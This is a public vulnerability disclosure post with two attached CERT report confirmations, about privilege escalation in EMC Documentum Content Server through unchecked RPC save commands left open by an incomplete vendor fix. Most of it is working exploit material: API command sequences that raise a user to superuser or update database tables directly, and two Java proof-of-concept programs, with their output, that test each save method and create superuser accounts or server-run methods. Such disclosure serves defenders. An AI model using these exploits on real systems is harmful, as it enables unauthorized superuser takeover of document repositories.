[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]

Privilege escalation through RPC commands in EMC Documentum Content Server (incomplete fix in CVE-2015-4532)



Product: EMC Documentum Content Server
Vendor: EMC
Version: ANY
CVE: N/A
Risk: High
Status: public/not fixed

For detailed description see attached VRF#HUFG9EBA.txt and VRF#HX5OLZ0F.txt, for vendor announcement see CVE-2015-4532 in http://seclists.org/bugtraq/2015/Aug/86. The problem is PoC code provided in VRF#HUFG9EBA.txt and VRF#HX5OLZ0F.txt misses two obvious points:

1. Content Server supports about 400 undocumented RPC commands, but PoC code covers only 33 of them, for example, all versions of EMC Documentum Content Server support SAVE_CONT_ATTRS_V6 RPC command, this RPC command has the same behaviour as SAVE_CONT_ATTRS from VRF#HUFG9EBA.txt and hence it is vulnerable:

API> retrieve,c,dm_user where user_name=USER
...
11024be980000900
API> get,c,l,user_privileges
...
0
API> get,c,l,i_vstamp
...
1
API> apply,c,11024be980000900,SAVE_CONT_ATTRS_V6,
       OBJECT_TYPE,S,dm_user,IS_NEW_OBJECT,B,F,
       i_vstamp,I,1,user_privileges,I,16
...
q0
API> ?,c,q0
RESULT
------------
          1
API> revert,c,l,
...
OK
API> get,c,l,user_privileges
...
16


2. Creating malicious user with superuser privileges or malicious docbase method is not the only option to escalate privileges, demonstration:

--
-- acquiring r_object_id for brand new
-- dm_registered object
--
API> apply,c,,NEXT_ID_LIST,TAG,I,25,HOW_MANY,I,1
...
q0
API> ?,c,q0
next_id
----------------
19024be98001fd0b
(1 row affected)

--
-- Creating brand new dm_registered object
--
API> apply,c,19024be98001fd0b,SysObjSave,
         OBJECT_TYPE,S,dm_registered,
         IS_NEW_OBJECT,B,T,
         i_vstamp,I,0,
         table_name,S,dm_user_s,
         table_owner,S,repo,
         owner_name,S,repo,
         world_permit,I,7,
         object_name,S,dm_user_s,
         owner_table_permit,I,15,
         group_table_permit,I,15,
         world_table_permit,I,15,
         r_object_type,S,dm_registered
...
q0
API> ?,c,q0
result
------------
          1
(1 row affected)

--
-- Now attacker is able to modify database tables
--
API> ?,c,select count(*) from dm_dbo.dm_user_s
count(*)
----------------------
                 7930
(1 row affected)

API> ?,c,update dm_dbo.dm_user_s set user_privileges=16
          where user_name=USER
rows_updated
------------
          1
(1 row affected)

API> ?,c,select user_privileges from dm_dbo.dm_user_s
          where user_name=USER
user_privileges
---------------
            16
(1 row affected)


__
Regards,
Andrey B. Panfilov

 Vulnerability Report Confirmation - [VRF#HUFG9EBA]

Your vulnerability report has been successfully received. You may save
or print this page for your own records. The Report Tracking ID assigned
to this report is VRF#HUFG9EBA. Details of your report are listed below.

If you have any questions or require additional information, please call
the CERT Hotline at +1 412-268-7090 or send email to cert@xxxxxxxx
<mailto:cert@xxxxxxxx?subject=VRF%20question%20VRF#HUFG9EBA>. Please
reference this Report Tracking ID: VRF#HUFG9EBA.

Do not use the back button to submit another report. Click here
<https://forms.cert.org/VulReport/index.jsp> instead.


------------------------------------------------------------------------


   Vulnerability Report


Name	Andrey B. Panfilov
Organization	independent
Email Address	andrew@xxxxxxxxxxxx
Telephone Number
Vulnerability Description	EMC Documentum Content Server: any user is
able to elevate privileges using
inappropriate RPC save-commands.

Content Server assumes that client sends correct RPC commands when
saving objects having different object types (like SysObjSave for
dm_sysobject, UserSave for dm_user, etc) and does not check input
arguments for some RPC commands (SAVE_CONT_ATTRS, RelationSave,
dmScopeConfigSave), so, user is able to modify any object in the system
using inappropriate RPC save-command.

Demonstration:

API> retrieve,c,dm_user where user_name=USER
...
1101ffd780001911
API> set,c,l,user_privileges
SET> 16
...
OK
-- Here client sends SaveUser RPC-command
-- and Content Server handles it properly - user does not have
-- privileges to modify dm_user objects
API> save,c,l
...
[DM_USER_E_NEED_SU_OR_SYS_PRIV]error: "The current user (op1tp1) needs
to have superuser or sysadmin privilege."


API> revert,c,l,
...
OK
API> get,c,l,i_vstamp
...
20
--
-- Here we send RelationSave RPC-command against dm_user object
--
API>
apply,c,1101ffd780001911,RelationSave,OBJECT_TYPE,S,dm_user,IS_NEW_OBJECT,B,
F,i_vstamp,I,20,user_privileges,I,16

...
q0
API> next,c,q0
...
OK
API> get,c,q0,result
...
1
API> revert,c,l,
...
OK
--
-- Now attacker has superuser privileges
--
API> get,c,l,user_privileges
...
16


==========================================8<================================
=============================

import java.util.LinkedHashSet;
import java.util.Set;

import com.documentum.fc.client.DfClient;
import com.documentum.fc.client.IDfSession;
import com.documentum.fc.client.IDfSysObject;
import com.documentum.fc.client.IDfUser;
import com.documentum.fc.client.impl.objectmanager.TypeMechanics;
import com.documentum.fc.common.DfException;
import com.documentum.fc.common.DfList;
import com.documentum.fc.common.DfLoginInfo;
import com.documentum.fc.common.IDfList;

/**
* @author Andrey B. Panfilov <andrew@xxxxxxxxxxxx>
*/
public class Test {

public static void main(String[] argv) throws Exception {
String docbase = argv[0];
String userName = argv[1];
String password = argv[2];
IDfSession session = null;
try {
session = new DfClient().newSession(docbase, new DfLoginInfo(
userName, password));

IDfUser user = session.getUser(null);

if (user.isSuperUser() || user.isSystemAdmin()) {
System.out.println("User " + userName
+ " has too wide privileges, choose different one");
System.exit(0);
}

Set<String> saveMethods = new LinkedHashSet<String>();
for (Object o : TypeMechanics.getAllInstances()) {
saveMethods.add(((TypeMechanics) o).getSaveMethod());
}
for (String method : saveMethods) {
System.out.println(method + "\tis "
+ (checkDmMethod(session, method) ? "" : "not ")
+ "vulnerable for dm_method objects, " + "\tis "
+ (checkDmUser(session, method) ? "" : "not ")
+ "vulnerable for dm_user objects");
}
} finally {
if (session != null) {
session.disconnect();
}
}
}

public static Boolean checkDmUser(IDfSession session, String method)
throws DfException {
try {
session.beginTrans();
IDfUser object = session.getUser(null);
object.revert();
IDfList params = new DfList(new String[] {"OBJECT_TYPE",
"IS_NEW_OBJECT", "i_vstamp", "user_privileges", });
IDfList types = new DfList(new String[] {"S", "B", "I", "I", });
IDfList values = new DfList(new String[] {"dm_user", "F",
String.valueOf(object.getVStamp()), "16" });
session.apply(object.getObjectId().getId(), method, params, types,
values);
object.revert();
if (16 == object.getInt("user_privileges")) {
return true;
} else {
return false;
}
} catch (DfException ex) {
return false;
} finally {
session.abortTrans();
}
}

public static Boolean checkDmMethod(IDfSession session, String method)
throws DfException {
try {
session.beginTrans();
IDfSysObject object = (IDfSysObject) session
.getObjectByQualification("dm_method");
object.revert();
String methodVerb = String.valueOf(System.currentTimeMillis());
IDfList params = new DfList(new String[] {"OBJECT_TYPE",
"IS_NEW_OBJECT", "i_vstamp", "method_verb", });
IDfList types = new DfList(new String[] {"S", "B", "I", "S", });
IDfList values = new DfList(new String[] {object.getTypeName(),
"F", String.valueOf(object.getVStamp()), methodVerb });
session.apply(object.getObjectId().getId(), method, params, types,
values);
object.revert();
if (methodVerb.equals(object.getString("method_verb"))) {
return true;
} else {
return false;
}
} catch (DfException ex) {
return false;
} finally {
session.abortTrans();
}
}

}
==========================================>8================================
=============================



==========================================8<================================
=============================

~]$ java Test repo user password
SAVE is not vulnerable for dm_method objects, is not vulnerable for
dm_user objects
ContainmentSave is not vulnerable for dm_method objects, is not
vulnerable for dm_user objects
SAVE_CONT_ATTRS is vulnerable for dm_method objects, is vulnerable for
dm_user objects
SysObjSave is not vulnerable for dm_method objects, is not vulnerable
for dm_user objects
FolderSave is not vulnerable for dm_method objects, is not vulnerable
for dm_user objects
CabinetSave is not vulnerable for dm_method objects, is not vulnerable
for dm_user objects
AssemblySave is not vulnerable for dm_method objects, is not vulnerable
for dm_user objects
SET_STORAGE is not vulnerable for dm_method objects, is not vulnerable
for dm_user objects
UserSave is not vulnerable for dm_method objects, is not vulnerable for
dm_user objects
GroupSave is not vulnerable for dm_method objects, is not vulnerable for
dm_user objects
RegTableSave is not vulnerable for dm_method objects, is not vulnerable
for dm_user objects
RouterSave is not vulnerable for dm_method objects, is not vulnerable
for dm_user objects
InboxItemSave is not vulnerable for dm_method objects, is not vulnerable
for dm_user objects
SAVE_FORMAT is not vulnerable for dm_method objects, is not vulnerable
for dm_user objects
MAKE_DUMP is not vulnerable for dm_method objects, is not vulnerable for
dm_user objects
RelationSave is vulnerable for dm_method objects, is vulnerable for
dm_user objects
MAKE_FTINDEX is not vulnerable for dm_method objects, is not vulnerable
for dm_user objects
RelationTypeSave is not vulnerable for dm_method objects, is not
vulnerable for dm_user objects
DocbaseIdMapSave is not vulnerable for dm_method objects, is not
vulnerable for dm_user objects
ACLSave is not vulnerable for dm_method objects, is not vulnerable for
dm_user objects
PolicySave is not vulnerable for dm_method objects, is not vulnerable
for dm_user objects
ReferenceSave is not vulnerable for dm_method objects, is not vulnerable
for dm_user objects
WflowSave is not vulnerable for dm_method objects, is not vulnerable for
dm_user objects
IPKGSave is not vulnerable for dm_method objects, is not vulnerable for
dm_user objects
WITEMSave is not vulnerable for dm_method objects, is not vulnerable for
dm_user objects
dmAuditTrailSave is not vulnerable for dm_method objects, is not
vulnerable for dm_user objects
AliasSetSave is not vulnerable for dm_method objects, is not vulnerable
for dm_user objects
LiteObjSave is not vulnerable for dm_method objects, is not vulnerable
for dm_user objects
PARTITION_SCHEME_SAVE is not vulnerable for dm_method objects, is not
vulnerable for dm_user objects
dmScopeConfigSave is vulnerable for dm_method objects, is vulnerable for
dm_user objects
dmDisplayConfigSave is not vulnerable for dm_method objects, is not
vulnerable for dm_user objects
CLIENT_RIGHTS_DOMAIN_SAVE is not vulnerable for dm_method objects, is
not vulnerable for dm_user objects
==========================================>8================================
=============================
Can we provide your name to the vendor?	Yes
Do you want to be publicly acknowledged?	Yes
Vendor Contact Status	will not contact
Vendor Name	EMC
Vendor Contact Name
Vendor Contact Email
Vendor Contact Telephone Number
Vendor Tracking ID
Additional Vendor Information
Affected System Configurations	All versions of EMC Documentum Content Server
How was this vulnerability found?
Is the vulnerability being exploited?	Yes
Is there a public exploit?	No
Vulnerability Impact	Any user is able to gain superuser privileges
(modify any objects, run any commands, etc)
Comments
Attached File
Date	2014-04-25T08:22:44
Report Tracking ID	VRF#HUFG9EBA
CERT Tracking IDs


------------------------------------------------------------------------
Carnegie Mellon University <http://www.cmu.edu/>

©2014 Carnegie Mellon University <http://www.cmu.edu/>


 Vulnerability Report Confirmation - [VRF#HX5OLZ0F]

Your vulnerability report has been successfully received. You may save
or print this page for your own records. The Report Tracking ID assigned
to this report is VRF#HX5OLZ0F. Details of your report are listed below.

If you have any questions or require additional information, please call
the CERT Hotline at +1 412-268-7090 or send email to cert@xxxxxxxx
<mailto:cert@xxxxxxxx?subject=VRF%20question%20VRF#HX5OLZ0F>. Please
reference this Report Tracking ID: VRF#HX5OLZ0F.

Do not use the back button to submit another report. Click here
<https://forms.cert.org/VulReport/index.jsp> instead.


------------------------------------------------------------------------


   Vulnerability Report


Name	Andrey B. Panfilov
Organization	independent
Email Address	andrew@xxxxxxxxxxxx
Telephone Number
Vulnerability Description	Backdoors in CVE-2014-2514.

When fixing vulnerabilities vendor has left 5 ways to elevate privileges
using the same technique as was described in VRF#HUFG9EBA: Documentum
Content Server still does not check input arguments for some RPC commands.

Slightly modified PoC from VRF#HUFG9EBA (the only difference is now save
operations are performed against new objects, i.e. attacker is able to
create new malicious docbase methods or users with superuser privilege):

==========================================8<================================
=============================

import java.util.*;

import com.documentum.fc.client.*;
import com.documentum.fc.client.impl.objectmanager.TypeMechanics;
import com.documentum.fc.common.*;

/**
* @author Andrey B. Panfilov <andrew@xxxxxxxxxxxx>
*/
public class Test {

public static void main(String[] argv) throws Exception {
String docbase = argv[0];
String userName = argv[1];
String password = argv[2];
IDfSession session = null;
try {
session = new DfClient().newSession(docbase, new DfLoginInfo(
userName, password));

IDfUser user = session.getUser(null);

if (user.isSuperUser() || user.isSystemAdmin()) {
System.out.println("User " + userName
+ " has too wide privileges, choose different one");
System.exit(0);
}

int len = 0;
Set<String> saveMethods = new LinkedHashSet<String>();
for (Object o : TypeMechanics.getAllInstances()) {
String methodName = ((TypeMechanics) o).getSaveMethod();
saveMethods.add(methodName);
if (methodName.length() > len) {
len = methodName.length();
}
}

List<String> ids = getNextIds(session, 16, saveMethods.size());
Iterator<String> idIterator = ids.iterator();
for (String method : saveMethods) {
System.out.format(
"%-" + String.valueOf(len + 1) + "s: %s\n",
method,
"is "
+ (checkDmMethod(session, method,
idIterator.next()) ? "" : "not ")
+ "vulnerable for dm_method objects");
}

ids = getNextIds(session, 17, saveMethods.size());
idIterator = ids.iterator();
for (String method : saveMethods) {
System.out.format(
"%-" + String.valueOf(len + 1) + "s: %s\n",
method,
"is "
+ (checkDmUser(session, method,
idIterator.next()) ? "" : "not ")
+ "vulnerable for dm_user objects");
}
} finally {
if (session != null) {
session.disconnect();
}
}
}

public static Boolean checkDmUser(IDfSession session, String method,
String id) throws DfException {
String userName = String.valueOf(System.currentTimeMillis());
try {
session.beginTrans();
IDfList params = new DfList(new String[] {"OBJECT_TYPE",
"IS_NEW_OBJECT", "i_vstamp", "user_name", "user_login_name",
"user_os_name", "user_privileges", });
IDfList types = new DfList(new String[] {"S", "B", "I", "S", "S",
"S", "I" });
IDfList values = new DfList(new String[] {"dm_user", "T",
String.valueOf(0), userName, userName, userName,
String.valueOf(16) });
try {
session.apply(id, method, params, types, values);
} catch (DfException ex) {
// ignore
}
IDfUser object = (IDfUser) session.getObject(DfId.valueOf(id));
if (userName.equals(object.getString("user_name"))) {
return true;
} else {
return false;
}
} catch (DfException ex) {
return false;
} finally {
session.abortTrans();
}
}

public static Boolean checkDmMethod(IDfSession session, String method,
String id) throws DfException {
String methodVerb = String.valueOf(System.currentTimeMillis());
try {
session.beginTrans();
IDfUser user = session.getUser(null);
IDfList params = new DfList(new String[] {"OBJECT_TYPE",
"IS_NEW_OBJECT", "i_vstamp", "object_name", "r_object_type",
"acl_name", "owner_name", "owner_permit", "run_as_server",
"method_verb", });
IDfList types = new DfList(new String[] {"S", "B", "I", "S", "S",
"S", "S", "I", "B", "S", });
IDfList values = new DfList(new String[] {"dm_method", "T",
String.valueOf(0), String.valueOf(methodVerb), "dm_method",
user.getACLName(), user.getUserName(), String.valueOf(7), "T",
String.valueOf(methodVerb), });
try {
session.apply(id, method, params, types, values);
} catch (DfException ex) {
// ignore
}
IDfSysObject object = (IDfSysObject) session.getObject(DfId
.valueOf(id));
if (methodVerb.equals(object.getString("method_verb"))) {
return true;
} else {
return false;
}
} catch (DfException ex) {
return false;
} finally {
session.abortTrans();
}
}

private static List<String> getNextIds(IDfSession session, int tag,
int howMany) throws DfException {
IDfList params = new DfList(new String[] {"TAG", "HOW_MANY", });
IDfList types = new DfList(new String[] {"I", "I", });
IDfList values = new DfList(new String[] {String.valueOf(tag),
String.valueOf(howMany), });
IDfCollection collection = session.apply(DfId.DF_NULLID.getId(),
"NEXT_ID_LIST", params, types, values);
List<String> result = new ArrayList<String>();
try {
while (collection.next()) {
for (int i = 0, n = collection.getValueCount("next_id"); i < n; i++) {
result.add(collection.getRepeatingString("next_id", i));
}
}
} finally {
collection.close();
}
return result;
}

}
==========================================>8================================
=============================


==========================================8<================================
=============================

~]$ java Test repo user password
SAVE : is not vulnerable for dm_method objects
ContainmentSave : is not vulnerable for dm_method objects
SAVE_CONT_ATTRS : is not vulnerable for dm_method objects
SysObjSave : is not vulnerable for dm_method objects
FolderSave : is not vulnerable for dm_method objects
CabinetSave : is not vulnerable for dm_method objects
AssemblySave : is not vulnerable for dm_method objects
SET_STORAGE : is not vulnerable for dm_method objects
UserSave : is not vulnerable for dm_method objects
GroupSave : is not vulnerable for dm_method objects
RegTableSave : is not vulnerable for dm_method objects
RouterSave : is not vulnerable for dm_method objects
InboxItemSave : is not vulnerable for dm_method objects
SAVE_FORMAT : is not vulnerable for dm_method objects
MAKE_DUMP : is not vulnerable for dm_method objects
RelationSave : is not vulnerable for dm_method objects
MAKE_FTINDEX : is not vulnerable for dm_method objects
RelationTypeSave : is not vulnerable for dm_method objects
DocbaseIdMapSave : is not vulnerable for dm_method objects
ACLSave : is vulnerable for dm_method objects
PolicySave : is not vulnerable for dm_method objects
ReferenceSave : is vulnerable for dm_method objects
WflowSave : is not vulnerable for dm_method objects
IPKGSave : is not vulnerable for dm_method objects
WITEMSave : is not vulnerable for dm_method objects
dmAuditTrailSave : is vulnerable for dm_method objects
AliasSetSave : is not vulnerable for dm_method objects
LiteObjSave : is not vulnerable for dm_method objects
PARTITION_SCHEME_SAVE : is not vulnerable for dm_method objects
dmScopeConfigSave : is not vulnerable for dm_method objects
dmDisplayConfigSave : is not vulnerable for dm_method objects
CLIENT_RIGHTS_DOMAIN_SAVE : is not vulnerable for dm_method objects
SAVE : is not vulnerable for dm_user objects
ContainmentSave : is not vulnerable for dm_user objects
SAVE_CONT_ATTRS : is not vulnerable for dm_user objects
SysObjSave : is not vulnerable for dm_user objects
FolderSave : is not vulnerable for dm_user objects
CabinetSave : is not vulnerable for dm_user objects
AssemblySave : is not vulnerable for dm_user objects
SET_STORAGE : is not vulnerable for dm_user objects
UserSave : is not vulnerable for dm_user objects
GroupSave : is not vulnerable for dm_user objects
RegTableSave : is not vulnerable for dm_user objects
RouterSave : is not vulnerable for dm_user objects
InboxItemSave : is not vulnerable for dm_user objects
SAVE_FORMAT : is not vulnerable for dm_user objects
MAKE_DUMP : is not vulnerable for dm_user objects
RelationSave : is not vulnerable for dm_user objects
MAKE_FTINDEX : is not vulnerable for dm_user objects
RelationTypeSave : is not vulnerable for dm_user objects
DocbaseIdMapSave : is not vulnerable for dm_user objects
ACLSave : is not vulnerable for dm_user objects
PolicySave : is not vulnerable for dm_user objects
ReferenceSave : is vulnerable for dm_user objects
WflowSave : is not vulnerable for dm_user objects
IPKGSave : is not vulnerable for dm_user objects
WITEMSave : is not vulnerable for dm_user objects
dmAuditTrailSave : is vulnerable for dm_user objects
AliasSetSave : is not vulnerable for dm_user objects
LiteObjSave : is not vulnerable for dm_user objects
PARTITION_SCHEME_SAVE : is not vulnerable for dm_user objects
dmScopeConfigSave : is not vulnerable for dm_user objects
dmDisplayConfigSave : is not vulnerable for dm_user objects
CLIENT_RIGHTS_DOMAIN_SAVE : is not vulnerable for dm_user objects
==========================================>8================================
=============================
Can we provide your name to the vendor?	Yes
Do you want to be publicly acknowledged?	Yes
Vendor Contact Status	will not contact
Vendor Name	EMC
Vendor Contact Name
Vendor Contact Email
Vendor Contact Telephone Number
Vendor Tracking ID
Additional Vendor Information
Affected System Configurations	All versions of EMC Documentum Content Server
How was this vulnerability found?
Is the vulnerability being exploited?	Yes
Is there a public exploit?	No
Vulnerability Impact
Comments
Attached File
Date	2014-07-03T02:17:53
Report Tracking ID	VRF#HX5OLZ0F
CERT Tracking IDs	VU#315340


------------------------------------------------------------------------
Carnegie Mellon University <http://www.cmu.edu/>

©2014 Carnegie Mellon University <http://www.cmu.edu/>